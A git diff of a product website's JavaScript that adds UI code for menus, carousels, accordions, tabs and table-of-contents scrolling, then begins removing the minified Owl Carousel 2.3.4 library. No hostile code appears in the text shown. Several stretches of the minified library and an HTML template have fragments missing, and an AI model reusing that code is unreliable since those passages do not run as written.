darkBodyEl.classList.toggle("is-show"); + darkBodyEl.removeEventListener('click', handleDarkBodyClickEvent); + } else if (!hasActiveClass && !darkBodyEl.classList.contains("is-show") && !!navItem.querySelector('.mega-menu-wrapper')) { + darkBodyEl.classList.toggle("is-show"); + darkBodyEl.addEventListener('click', handleDarkBodyClickEvent); + } + }) +}) + +// mega menu active class +var navbarItems = document.querySelectorAll(".navbar-item"); +navbarItems.forEach((navbarItem) => { + navbarItem.addEventListener("click", function () { + var megamenues = document.querySelectorAll( + ".navbar-item > .ac-megamenu , .navbar-item > .ac-dropdown" + ); + // remove is-active class from all the megamenus except the navbar item that was clicked + megamenues.forEach((megamenu) => { + // toggle classes + if (megamenu.parentElement === navbarItem) + megamenu.classList.toggle("is-active"); + else megamenu.classList.remove("is-active"); + }); + }); +}); + +// Responsive menu back button +const backButtonAll = document.querySelectorAll(".back-button"); +// create click event for all back button +Array.from(backButtonAll).forEach((el) => { + el.addEventListener("click", () => { + // closeset nav item ancestor + const activeNavElement = el.closest(".nav-item.is-active"); + if (activeNavElement) activeNavElement.classList.remove("is-active"); + }) +}); +// navbar area JS v.2022 end + +// responsive navbar area +// elements selector where toggle class will be added +const selctorsForResponsiveMenu = [ + ".left-sidebar-wrapper", + ".navbar-appscode.documentation-menu > .navbar-right", + ".right-sidebar", + ".sidebar-search-area" +]; + +// toggle classes for responsive buttons +const toggleClassesForResponsiveMenu = ["is-block", "is-visible", "is-block", "right-0"]; +// All responsive menu buttons +const responsiveMenus = document.querySelectorAll(".responsive-menu > .is-flex.is-justify-content-space-between > .button"); +// iterate thorugh the menus to handle click event +Array.from(responsiveMenus).forEach((menu, idx) => { + menu.addEventListener("click", function () { + const toggleElement = document.querySelector(selctorsForResponsiveMenu[idx]); + if (toggleElement) { + // toggle active menu class + toggleElement.classList.toggle(toggleClassesForResponsiveMenu[idx]); + if (toggleElement.classList.contains(toggleClassesForResponsiveMenu[idx])) { + const backButtonElement = toggleElement.querySelector(".back-button"); + + function handleClick() { + toggleElement.classList.remove(toggleClassesForResponsiveMenu[idx]); + // remove event listener on back button click + backButtonElement.removeEventListener("click", handleClick); + } + + backButtonElement.addEventListener("click", handleClick); + + } + } + + const modalBackdropElement = document.querySelector(".modal-backdrop.is-show"); + // if modal backdrop element is visible then hide it + if (modalBackdropElement) { + modalBackdropElement.classList.remove("is-show") + } + + const navItem = document.querySelector(".nav-item.is-active"); + // if modal backdrop element is visible then hide it + if (navItem) { + navItem.classList.remove("is-active") + } + + // remove previous active menu + selctorsForResponsiveMenu.forEach((el, selectorIdx) => { + if (selectorIdx !== idx) { + const selectorElement = document.querySelector(selctorsForResponsiveMenu[selectorIdx]); + if (selectorElement.classList.contains(toggleClassesForResponsiveMenu[selectorIdx])) { + selectorElement.classList.remove(toggleClassesForResponsiveMenu[selectorIdx]) + } + } + }); + }); +}); + + +//mechanism tabs =============================================start + + // Get all the single-feature mechanism elements + const singleFeatures = document.querySelectorAll('.single-feature.mechanism'); + + // Add click event listener to each single-feature mechanism element + singleFeatures.forEach(function(feature) { + feature.addEventListener('click', function() { + const title = feature.querySelector('.mechanism .content strong'); + + const className = title.className; + showOnlySelectedDiv(className) + singleFeatures.forEach(function(feature) { + feature.classList.remove('is-active'); + }); + + feature.classList.add('is-active'); + const divs=document.querySelectorAll(className) + + + }); + }); + function showOnlySelectedDiv(selectedId) { + const divs = document.querySelectorAll('.ui-mechanism > div'); + + divs.forEach(function(div) { + if (div.id === selectedId) { + div.classList.remove('is-hidden'); + } else { + div.classList.add('is-hidden'); + } + }); + } + +//mechanism tabs =============================================end + +// docs page codeblock copy button +// document.querySelectorAll(".code-block-wrapper").forEach(codeBlockWrapper => { +// let heading = codeBlockWrapper.querySelector(".code-block-title") +// let downloadBtn = heading.querySelector(".download-here") +// let copyBtn = heading.querySelector(".copy-here") + +// // for download button +// const highlight = heading.nextElementSibling; +// const code = highlight.querySelector("code"); +// const codeContent = code.textContent; +// let fileType = code.getAttribute("class"); +// if (fileType) { +// fileType = fileType.replace("language-", ""); +// } else { +// fileType = "txt"; +// } +// let fileName = heading.querySelector("h4").textContent.replace(" ", "_"); +// if (downloadBtn) { +// downloadBtn.addEventListener("click", function () { +// return download(codeContent, `${fileName}.${fileType}`, "text/plain"); +// }); +// } + +// // for copy button +// new ClipboardJS(copyBtn, { +// target: function (trigger) { +// trigger.title = "Copied"; +// return heading.nextElementSibling; +// } +// }); + +// }); + +// scroll to top start +//Get the button +const goToTopBtn = document.querySelector(".go-to-top"); +if (goToTopBtn) { + goToTopBtn.addEventListener('click', topFunction) +} + + +// When the user scrolls down 20px from the top of the document, show the button +document.addEventListener('scroll', scrollFunction); + +function scrollFunction() { + if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) { + goToTopBtn.classList.add('is-visible'); + } else { + goToTopBtn.classList.remove('is-visible'); + } +} + +// When the user clicks on the button, scroll to the top of the document +function topFunction() { + document.body.scrollTop = 0; + document.documentElement.scrollTop = 0; +} +// scroll to top end + + +// close modal start +function closeModal() { + document.querySelectorAll('.modal').forEach((modal) => { + if (modal.classList.contains('is-active')) { + modal.classList.remove('is-active') + } + }) +} + +var h_editor = document.querySelector('.hero-area-code-editor'); +document.addEventListener("DOMContentLoaded", () => { + // highligh js initilization start + if (h_editor) { + h_editor.classList.add('is-visible') + } + // hero area right content + var h_right_content = document.querySelector('.h-right-content'); + if (h_right_content) { + h_right_content.classList.add('is-visible') + } + + // AOS Animation + // AOS.init({ + // once: true, + // }); + + // Get all "navbar-burger" elements + const $navbarBurgers = Array.prototype.slice.call( + document.querySelectorAll(".navbar-burger"), + 0 + ); + // Check if there are any navbar burgers + if ($navbarBurgers.length > 0) { + // Add a click event on each of them + $navbarBurgers.forEach((el) => { + el.addEventListener("click", () => { + el.classList.toggle("is-active"); + }); + }); + } + + // documentaion page select-box js + var selectBoxDropdown = document.querySelector(".product-version .dropdown"); + var selectBoxDropdownBtn = document.querySelector(".dropdown-trigger"); + selectBoxDropdownBtn?.addEventListener("click", function () { + selectBoxDropdown.classList.toggle("is-active"); + }) +}); + +// menu sticky +// Not a ton of code, but hard to + +// features products +$(document).ready(function () { + $(this).scrollTop(0); + + $('[data-serialscrolling]').serialscrolling({ + + // selector + targetSelector: '[data-serialscrolling-target]', + getTarget: function ($element) { + const target = $element.attr('data-serialscrolling'); + return $('[data-serialscrolling-target="' + target + '"]'); + }, + getTrigger: function ($page, $stack) { + const target = $page.attr('data-serialscrolling-target'); + return $stack.filter('[data-serialscrolling="' + target + '"]'); + }, + + // duration of the animation in ms + duration: 800, + + // easing function + easing: 'easeInOutExpo', + + // top offset in px + offsetTop: 0, + + // callback + callback: false + + }); +}); + +var owl = $('.testimonial-carousel'); +owl.owlCarousel({ + loop: true, + margin: 20, + autoplay: true, + nav: false, + dots: false, + smartSpeed: 2000, + responsiveClass: true, + autoplayHoverPause: true, + fluidSpeed: true, + responsive: { + 0: { + items: 1, + }, + 600: { + items: 1, + }, + 1400: { + items: 2, + } + } +}); +// Go to the next item +$('.customNextBtn').click(function () { + owl.trigger('next.owl.carousel'); +}) +// Go to the previous item +$('.customPrevBtn').click(function () { + owl.trigger('prev.owl.carousel'); +}) + +// video modal + $('.webinar-video, .yt-video, .demo-video').magnificPopup({ + disableOn: 700, + type: 'iframe', + mainClass: 'mfp-fade', + removalDelay: 160, + preloader: false, + fixedContentPos: false + }); + +// for social prove owlCarousel + + +// owl owlCarousel JS +var owlSocialProve = $('#brand-image-wrapper'); +owlSocialProve.owlCarousel({ + loop: true, + margin: 20, + autoplay: true, + nav: false, + dots: false, + fluidSpeed: true, + smartSpeed: 3000, + autoplayTimeout: 3000, + autoplayHoverPause: true, + rewindNav: false, + rewindSpeed: 0, + // autoHeight:true, + autoWidth: true, + responsiveClass: true, + responsive: { + 0: { + items: 2, + }, + 600: { + items: 1, + }, + 1400: { + items: 9, + } + } +}); + + +// previous webinar videos search +const searchWebinar = document.querySelector(".search-box input"); +let allWebinar = document.querySelectorAll('.webinar-video') + +searchWebinar?.addEventListener('keyup', function(){ + Array.from(allWebinar).forEach(singleWebinar => { + let titleHtml = singleWebinar.querySelectorAll('h1'); + Array.from(titleHtml).forEach(title => { + let titleData = title.innerHTML.toLowerCase(); + let inpData = searchWebinar.value.toLowerCase(); + + if (titleData.includes(inpData)) { + singleWebinar.parentElement.classList.remove("is-hidden") + }else { + singleWebinar.parentElement.classList.add("is-hidden") + } + }) + }) +}) + +// map area-tabs +var tabsMenus = document.querySelectorAll(".tabs-wrapper ul li"); +tabsMenus.forEach(tabItem => { + tabItem.addEventListener("click", function () { + // remove is-active from all the menus + tabsMenus.forEach(tabMenu => tabMenu.classList.remove("is-active")); + + // add is-active to the clicked menu + tabItem.classList.add("is-active"); + + // activate map + var mapId = tabItem.getAttribute("href"); + + var mapElemUsa = document.getElementById("usa"); + var mapElemDhaka = document.getElementById("dhaka"); + + if (mapId === "usa") { + mapElemDhaka.classList.remove("is-active"); + mapElemUsa.classList.add("is-active"); + } else { + mapElemUsa.classList.remove("is-active"); + mapElemDhaka.classList.add("is-active"); + } + }); +}); +// For FAQ Collaps Page +const accordionItem = document.querySelectorAll(".accordion-item"); +const onClickAccordionHeader = (e) => { + if (e.currentTarget.parentNode.classList.contains("active")) { + e.currentTarget.parentNode.classList.remove("active"); + } else { + Array.prototype.forEach.call(accordionItem, (e) => { + e.classList.remove("active"); + }); + e.currentTarget.parentNode.classList.add("active"); + } +}; +const init = () => { + Array.prototype.forEach.call(accordionItem, (e) => { + e.querySelector(".accordion-header").addEventListener( + "click", + onClickAccordionHeader, + false + ); + }); +}; +document.addEventListener("DOMContentLoaded", init); + +// Table Of Content +// go the the section smoothly when click on a table-of-content item +const goToASectionSmoothly = () => { + const tocItems = document.querySelectorAll("#TableOfContents a"); + tocItems.forEach((item) => { + item.addEventListener("click", (e) => { + e.preventDefault(); + // go to the target section smoothly + const targetEl = document.querySelector(e.currentTarget.hash); + const pos = targetEl.offsetTop; + window.scrollTo({ + top: pos, + behavior: "smooth", + }); + }); + }); +}; + +// add .active dynamically to TOC +const spyScrolling = () => { + const allHeaders = document.querySelectorAll("h1, h2, h3, h4"); + + window.onscroll = () => { + const scrollPos = + document.documentElement.scrollTop || document.body.scrollTop; + for (let s in allHeaders) { + if ( + allHeaders.hasOwnProperty(s) && + allHeaders[s].offsetTop <= scrollPos + 100 + ) { + const id = allHeaders[s].id; + if (id) { + document.querySelectorAll("#TableOfContents a").forEach((a) => { + if (`#${id}` === a.hash) { + a.classList.add("active"); + } else { + a.classList.remove("active"); + } + }); + } + } + } + }; +}; + +goToASectionSmoothly(); +spyScrolling(); + +// docs page left sidebar first item font-size +document.addEventListener("DOMContentLoaded", () => { + // left sidebar menu fontSize + const sidebarMenu = document.querySelector(".product-sidebar-menu"); + if (sidebarMenu) { + sidebarMenu.children[0].children[1].children[0].style.fontSize = "22px"; + sidebarMenu.children[0].children[1].children[0].style.fontWeight = "600"; + } + // docs-page -> right sidebar (content > 20) then show a scroll + const allHeaders = document.querySelectorAll( + ".full-info > h2,.full-info > h3,.full-info > h4" + ); + if (allHeaders.length > 20) { + let rightSidebarArea = document.querySelector(".right-sidebar-area"); + rightSidebarArea.style.position = "inherit"; + } + + // docs page header link create + Array.from(allHeaders).forEach((el) => { + const id = el.id; + const anchorTag = document.createElement("a"); + anchorTag.setAttribute("href", "#" + id); + anchorTag.innerHTML = ` + + + + + + + + + + + `; + el.appendChild(anchorTag); + + //insert hash tag when click anchorTag + anchorTag.addEventListener("click", (e) => { + e.preventDefault(); + const targetEl = document.querySelector(e.currentTarget.hash); + window.history.pushState(id, "title", "#" + id); + const pos1 = targetEl.offsetTop - 35; + window.scrollTo({ + top: pos1, + behavior: "smooth", + }); + }); + }); + + //docs page heading content on reload + setTimeout(function () { + let getHash = location.hash; + if (getHash) { + const targetE2 = document.querySelector(getHash); + const pos2 = targetE2.offsetTop - 35; + scrollTo({ + top: pos2, + behavior: "smooth", + }); + } + }, 0); +}); + +// tabs active class add script - setup | install page +const tabItems = document.querySelectorAll(".nav-item .nav-link"); +tabItems.forEach((tab) => { + tab.addEventListener("click", (e) => { + e.preventDefault(); + const el = e.currentTarget; + + // add .active class to the clicked item, remove .active from others + document.querySelectorAll(".nav-item .nav-link").forEach((navLink) => { + navLink === el ? + navLink.classList.add("active") : + navLink.classList.remove("active"); + }); + + // add .show class to the target tab-pane, remove from others + const elHref = el.getAttribute("href"); + const tabPaneTarget = document.querySelector(elHref); + + document.querySelectorAll(".tab-pane").forEach((tabPane) => { + tabPane === tabPaneTarget ? + tabPane.classList.add("show") : + tabPane.classList.remove("show"); + }); + }); +}); + + +// custom accordion +function acAccordion(actionBtn) { + let accordionHeadingAll = document.querySelectorAll(actionBtn); + // Create event listeners for each accordion heading + Array.from(accordionHeadingAll).forEach((accordionHeading) => { + accordionHeading.addEventListener("click", function () { + let singleAcc = accordionHeading.closest(".single-accordion-item"); + + let isOpen = singleAcc.classList.contains("open"); + + // select all accordion + let accordionItems = document.querySelectorAll(".single-accordion-item"); + Array.from(accordionItems).forEach((accordionItem) => { + // close all item + accordionItem.className = "single-accordion-item closed"; + let icon = accordionItem.querySelector(".icon .fa"); + if (icon) { + icon.classList.replace("fa-minus", "fa-plus"); + } + let accordionBody = accordionItem.querySelector(".accordion-body"); + accordionBody.style.maxHeight = null; + }); + + // get single element icon + let icon = singleAcc.querySelector(".icon .fa"); + if (isOpen) { + singleAcc.className = "single-accordion-item closed"; + let accordionBody = singleAcc.querySelector(".accordion-body"); + accordionBody.style.maxHeight = null; + if (icon) { + icon.classList.replace("fa-minus", "fa-plus"); + } + } else { + singleAcc.className = "single-accordion-item open"; + let accordionBody = singleAcc.querySelector(".accordion-body"); + accordionBody.style.maxHeight = accordionBody.scrollHeight + "px"; + if (icon) { + icon.classList.replace("fa-plus", "fa-minus"); + } + } + }); + }); +} + +acAccordion(".accordion-heading h3"); +acAccordion(".accordion-heading .icon"); // accordion end \ No newline at end of file diff --git a/static/assets/js/owl.carousel.min.js b/static/assets/js/owl.carousel.min.js index fbbffc5340..6a8bfa924d 100644 --- a/static/assets/js/owl.carousel.min.js +++ b/static/assets/js/owl.carousel.min.js @@ -1,7 +1,7 @@ -/** - * Owl Carousel v2.3.4 - * Copyright 2013-2018 David Deutsch - * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE - */ -!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push({filter:c.filter,run:a.proxy(c.run,this)})},this)),this.setup(),this.initialize()}e.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag:!0,pullDrag:!0,freeDrag:!1,margin:0,stagePadding:0,merge:!1,mergeFit:!0,autoWidth:!1,startPosition:0,rtl:!1,smartSpeed:250,fluidSpeed:!1,dragEndSpeed:!1,responsive:{},responsiveRefreshRate:200,responsiveBaseElement:b,fallbackEasing:"swing",slideTransition:"",info:!1,nestedItemSelector:!1,itemElement:"div",stageElement:"div",refreshClass:"owl-refresh",loadedClass:"owl-loaded",loadingClass:"owl-loading",rtlClass:"owl-rtl",responsiveClass:"owl-responsive",dragClass:"owl-drag",itemClass:"owl-item",stageClass:"owl-stage",stageOuterClass:"owl-stage-outer",grabClass:"owl-grab"},e.Width={Default:"default",Inner:"inner",Outer:"outer"},e.Type={Event:"event",State:"state"},e.Plugins={},e.Workers=[{filter:["width","settings"],run:function(){this._width=this.$element.width()}},{filter:["width","items","settings"],run:function(a){a.current=this._items&&this._items[this.relative(this._current)]}},{filter:["items","settings"],run:function(){this.$stage.children(".cloned").remove()}},{filter:["width","items","settings"],run:function(a){var b=this.settings.margin||"",c=!this.settings.autoWidth,d=this.settings.rtl,e={width:"auto","margin-left":d?b:"","margin-right":d?"":b};!c&&this.$stage.children().css(e),a.css=e}},{filter:["width","items","settings"],run:function(a){var b=(this.width()/this.settings.items).toFixed(3)-this.settings.margin,c=null,d=this._items.length,e=!this.settings.autoWidth,f=[];for(a.items={merge:!1,width:b};d--;)c=this._mergers[d],c=this.settings.mergeFit&&Math.min(c,this.settings.items)||c,a.items.merge=c>1||a.items.merge,f[d]=e?b*c:this._items[d].width();this._widths=f}},{filter:["items","settings"],run:function(){var b=[],c=this._items,d=this.settings,e=Math.max(2*d.items,4),f=2*Math.ceil(c.length/2),g=d.loop&&c.length?d.rewind?e:Math.max(e,f):0,h="",i="";for(g/=2;g>0;)b.push(this.normalize(b.length/2,!0)),h+=c[b[b.length-1]][0].outerHTML,b.push(this.normalize(c.length-1-(b.length-1)/2,!0)),i=c[b[b.length-1]][0].outerHTML+i,g-=1;this._clones=b,a(h).addClass("cloned").appendTo(this.$stage),a(i).addClass("cloned").prependTo(this.$stage)}},{filter:["width","items","settings"],run:function(){for(var a=this.settings.rtl?1:-1,b=this._clones.length+this._items.length,c=-1,d=0,e=0,f=[];++c",h)||this.op(b,"<",g)&&this.op(b,">",h))&&i.push(c);this.$stage.children(".active").removeClass("active"),this.$stage.children(":eq("+i.join("), :eq(")+")").addClass("active"),this.$stage.children(".center").removeClass("center"),this.settings.center&&this.$stage.children().eq(this.current()).addClass("center")}}],e.prototype.initializeStage=function(){this.$stage=this.$element.find("."+this.settings.stageClass),this.$stage.length||(this.$element.addClass(this.options.loadingClass),this.$stage=a("<"+this.settings.stageElement+">",{class:this.settings.stageClass}).wrap(a("
",{class:this.settings.stageOuterClass})),this.$element.append(this.$stage.parent()))},e.prototype.initializeItems=function(){var b=this.$element.find(".owl-item");if(b.length)return this._items=b.get().map(function(b){return a(b)}),this._mergers=this._items.map(function(){return 1}),void this.refresh();this.replace(this.$element.children().not(this.$stage.parent())),this.isVisible()?this.refresh():this.invalidate("width"),this.$element.removeClass(this.options.loadingClass).addClass(this.options.loadedClass)},e.prototype.initialize=function(){if(this.enter("initializing"),this.trigger("initialize"),this.$element.toggleClass(this.settings.rtlClass,this.settings.rtl),this.settings.autoWidth&&!this.is("pre-loading")){var a,b,c;a=this.$element.find("img"),b=this.settings.nestedItemSelector?"."+this.settings.nestedItemSelector:d,c=this.$element.children(b).width(),a.length&&c<=0&&this.preloadAutoWidthImages(a)}this.initializeStage(),this.initializeItems(),this.registerEventHandlers(),this.leave("initializing"),this.trigger("initialized")},e.prototype.isVisible=function(){return!this.settings.checkVisibility||this.$element.is(":visible")},e.prototype.setup=function(){var b=this.viewport(),c=this.options.responsive,d=-1,e=null;c?(a.each(c,function(a){a<=b&&a>d&&(d=Number(a))}),e=a.extend({},this.options,c[d]),"function"==typeof e.stagePadding&&(e.stagePadding=e.stagePadding()),delete e.responsive,e.responsiveClass&&this.$element.attr("class",this.$element.attr("class").replace(new RegExp("("+this.options.responsiveClass+"-)\\S+\\s","g"),"$1"+d))):e=a.extend({},this.options),this.trigger("change",{property:{name:"settings",value:e}}),this._breakpoint=d,this.settings=e,this.invalidate("settings"),this.trigger("changed",{property:{name:"settings",value:this.settings}})},e.prototype.optionsLogic=function(){this.settings.autoWidth&&(this.settings.stagePadding=!1,this.settings.merge=!1)},e.prototype.prepare=function(b){var c=this.trigger("prepare",{content:b});return c.data||(c.data=a("<"+this.settings.itemElement+"/>").addClass(this.options.itemClass).append(b)),this.trigger("prepared",{content:c.data}),c.data},e.prototype.update=function(){for(var b=0,c=this._pipe.length,d=a.proxy(function(a){return this[a]},this._invalidated),e={};b0)&&this._pipe[b].run(e),b++;this._invalidated={},!this.is("valid")&&this.enter("valid")},e.prototype.width=function(a){switch(a=a||e.Width.Default){case e.Width.Inner:case e.Width.Outer:return this._width;default:return this._width-2*this.settings.stagePadding+this.settings.margin}},e.prototype.refresh=function(){this.enter("refreshing"),this.trigger("refresh"),this.setup(),this.optionsLogic(),this.$element.addClass(this.options.refreshClass),this.update(),this.$element.removeClass(this.options.refreshClass),this.leave("refreshing"),this.trigger("refreshed")},e.prototype.onThrottledResize=function(){b.clearTimeout(this.resizeTimer),this.resizeTimer=b.setTimeout(this._handlers.onResize,this.settings.responsiveRefreshRate)},e.prototype.onResize=function(){return!!this._items.length&&(this._width!==this.$element.width()&&(!!this.isVisible()&&(this.enter("resizing"),this.trigger("resize").isDefaultPrevented()?(this.leave("resizing"),!1):(this.invalidate("width"),this.refresh(),this.leave("resizing"),void this.trigger("resized")))))},e.prototype.registerEventHandlers=function(){a.support.transition&&this.$stage.on(a.support.transition.end+".owl.core",a.proxy(this.onTransitionEnd,this)),!1!==this.settings.responsive&&this.on(b,"resize",this._handlers.onThrottledResize),this.settings.mouseDrag&&(this.$element.addClass(this.options.dragClass),this.$stage.on("mousedown.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("dragstart.owl.core selectstart.owl.core",function(){return!1})),this.settings.touchDrag&&(this.$stage.on("touchstart.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("touchcancel.owl.core",a.proxy(this.onDragEnd,this)))},e.prototype.onDragStart=function(b){var d=null;3!==b.which&&(a.support.transform?(d=this.$stage.css("transform").replace(/.*\(|\)| /g,"").split(","),d={x:d[16===d.length?12:4],y:d[16===d.length?13:5]}):(d=this.$stage.position(),d={x:this.settings.rtl?d.left+this.$stage.width()-this.width()+this.settings.margin:d.left,y:d.top}),this.is("animating")&&(a.support.transform?this.animate(d.x):this.$stage.stop(),this.invalidate("position")),this.$element.toggleClass(this.options.grabClass,"mousedown"===b.type),this.speed(0),this._drag.time=(new Date).getTime(),this._drag.target=a(b.target),this._drag.stage.start=d,this._drag.stage.current=d,this._drag.pointer=this.pointer(b),a(c).on("mouseup.owl.core touchend.owl.core",a.proxy(this.onDragEnd,this)),a(c).one("mousemove.owl.core touchmove.owl.core",a.proxy(function(b){var d=this.difference(this._drag.pointer,this.pointer(b));a(c).on("mousemove.owl.core touchmove.owl.core",a.proxy(this.onDragMove,this)),Math.abs(d.x)0^this.settings.rtl?"left":"right";a(c).off(".owl.core"),this.$element.removeClass(this.options.grabClass),(0!==d.x&&this.is("dragging")||!this.is("valid"))&&(this.speed(this.settings.dragEndSpeed||this.settings.smartSpeed),this.current(this.closest(e.x,0!==d.x?f:this._drag.direction)),this.invalidate("position"),this.update(),this._drag.direction=f,(Math.abs(d.x)>3||(new Date).getTime()-this._drag.time>300)&&this._drag.target.one("click.owl.core",function(){return!1})),this.is("dragging")&&(this.leave("dragging"),this.trigger("dragged"))},e.prototype.closest=function(b,c){var e=-1,f=30,g=this.width(),h=this.coordinates();return this.settings.freeDrag||a.each(h,a.proxy(function(a,i){return"left"===c&&b>i-f&&bi-g-f&&b",h[a+1]!==d?h[a+1]:i-g)&&(e="left"===c?a+1:a),-1===e},this)),this.settings.loop||(this.op(b,">",h[this.minimum()])?e=b=this.minimum():this.op(b,"<",h[this.maximum()])&&(e=b=this.maximum())),e},e.prototype.animate=function(b){var c=this.speed()>0;this.is("animating")&&this.onTransitionEnd(),c&&(this.enter("animating"),this.trigger("translate")),a.support.transform3d&&a.support.transition?this.$stage.css({transform:"translate3d("+b+"px,0px,0px)",transition:this.speed()/1e3+"s"+(this.settings.slideTransition?" "+this.settings.slideTransition:"")}):c?this.$stage.animate({left:b+"px"},this.speed(),this.settings.fallbackEasing,a.proxy(this.onTransitionEnd,this)):this.$stage.css({left:b+"px"})},e.prototype.is=function(a){return this._states.current[a]&&this._states.current[a]>0},e.prototype.current=function(a){if(a===d)return this._current;if(0===this._items.length)return d;if(a=this.normalize(a),this._current!==a){var b=this.trigger("change",{property:{name:"position",value:a}});b.data!==d&&(a=this.normalize(b.data)),this._current=a,this.invalidate("position"),this.trigger("changed",{property:{name:"position",value:this._current}})}return this._current},e.prototype.invalidate=function(b){return"string"===a.type(b)&&(this._invalidated[b]=!0,this.is("valid")&&this.leave("valid")),a.map(this._invalidated,function(a,b){return b})},e.prototype.reset=function(a){(a=this.normalize(a))!==d&&(this._speed=0,this._current=a,this.suppress(["translate","translated"]),this.animate(this.coordinates(a)),this.release(["translate","translated"]))},e.prototype.normalize=function(a,b){var c=this._items.length,e=b?0:this._clones.length;return!this.isNumeric(a)||c<1?a=d:(a<0||a>=c+e)&&(a=((a-e/2)%c+c)%c+e/2),a},e.prototype.relative=function(a){return a-=this._clones.length/2,this.normalize(a,!0)},e.prototype.maximum=function(a){var b,c,d,e=this.settings,f=this._coordinates.length;if(e.loop)f=this._clones.length/2+this._items.length-1;else if(e.autoWidth||e.merge){if(b=this._items.length)for(c=this._items[--b].width(),d=this.$element.width();b--&&!((c+=this._items[b].width()+this.settings.margin)>d););f=b+1}else f=e.center?this._items.length-1:this._items.length-e.items;return a&&(f-=this._clones.length/2),Math.max(f,0)},e.prototype.minimum=function(a){return a?0:this._clones.length/2},e.prototype.items=function(a){return a===d?this._items.slice():(a=this.normalize(a,!0),this._items[a])},e.prototype.mergers=function(a){return a===d?this._mergers.slice():(a=this.normalize(a,!0),this._mergers[a])},e.prototype.clones=function(b){var c=this._clones.length/2,e=c+this._items.length,f=function(a){return a%2==0?e+a/2:c-(a+1)/2};return b===d?a.map(this._clones,function(a,b){return f(b)}):a.map(this._clones,function(a,c){return a===b?f(c):null})},e.prototype.speed=function(a){return a!==d&&(this._speed=a),this._speed},e.prototype.coordinates=function(b){var c,e=1,f=b-1;return b===d?a.map(this._coordinates,a.proxy(function(a,b){return this.coordinates(b)},this)):(this.settings.center?(this.settings.rtl&&(e=-1,f=b+1),c=this._coordinates[b],c+=(this.width()-c+(this._coordinates[f]||0))/2*e):c=this._coordinates[f]||0,c=Math.ceil(c))},e.prototype.duration=function(a,b,c){return 0===c?0:Math.min(Math.max(Math.abs(b-a),1),6)*Math.abs(c||this.settings.smartSpeed)},e.prototype.to=function(a,b){var c=this.current(),d=null,e=a-this.relative(c),f=(e>0)-(e<0),g=this._items.length,h=this.minimum(),i=this.maximum();this.settings.loop?(!this.settings.rewind&&Math.abs(e)>g/2&&(e+=-1*f*g),a=c+e,(d=((a-h)%g+g)%g+h)!==a&&d-e<=i&&d-e>0&&(c=d-e,a=d,this.reset(c))):this.settings.rewind?(i+=1,a=(a%i+i)%i):a=Math.max(h,Math.min(i,a)),this.speed(this.duration(c,a,b)),this.current(a),this.isVisible()&&this.update()},e.prototype.next=function(a){a=a||!1,this.to(this.relative(this.current())+1,a)},e.prototype.prev=function(a){a=a||!1,this.to(this.relative(this.current())-1,a)},e.prototype.onTransitionEnd=function(a){if(a!==d&&(a.stopPropagation(),(a.target||a.srcElement||a.originalTarget)!==this.$stage.get(0)))return!1;this.leave("animating"),this.trigger("translated")},e.prototype.viewport=function(){var d;return this.options.responsiveBaseElement!==b?d=a(this.options.responsiveBaseElement).width():b.innerWidth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),this.settings.nestedItemSelector&&(b=b.find("."+this.settings.nestedItemSelector)),b.filter(function(){return 1===this.nodeType}).each(a.proxy(function(a,b){b=this.prepare(b),this.$stage.append(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)},this)),this.reset(this.isNumeric(this.settings.startPosition)?this.settings.startPosition:0),this.invalidate("items")},e.prototype.add=function(b,c){var e=this.relative(this._current);c=c===d?this._items.length:this.normalize(c,!0),b=b instanceof jQuery?b:a(b),this.trigger("add",{content:b,position:c}),b=this.prepare(b),0===this._items.length||c===this._items.length?(0===this._items.length&&this.$stage.append(b),0!==this._items.length&&this._items[c-1].after(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)):(this._items[c].before(b),this._items.splice(c,0,b),this._mergers.splice(c,0,1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)),this._items[e]&&this.reset(this._items[e].index()),this.invalidate("items"),this.trigger("added",{content:b,position:c})},e.prototype.remove=function(a){(a=this.normalize(a,!0))!==d&&(this.trigger("remove",{content:this._items[a],position:a}),this._items[a].remove(),this._items.splice(a,1),this._mergers.splice(a,1),this.invalidate("items"),this.trigger("removed",{content:null,position:a}))},e.prototype.preloadAutoWidthImages=function(b){b.each(a.proxy(function(b,c){this.enter("pre-loading"),c=a(c),a(new Image).one("load",a.proxy(function(a){c.attr("src",a.target.src),c.css("opacity",1),this.leave("pre-loading"),!this.is("pre-loading")&&!this.is("initializing")&&this.refresh()},this)).attr("src",c.attr("src")||c.attr("data-src")||c.attr("data-src-retina"))},this))},e.prototype.destroy=function(){this.$element.off(".owl.core"),this.$stage.off(".owl.core"),a(c).off(".owl.core"),!1!==this.settings.responsive&&(b.clearTimeout(this.resizeTimer),this.off(b,"resize",this._handlers.onThrottledResize));for(var d in 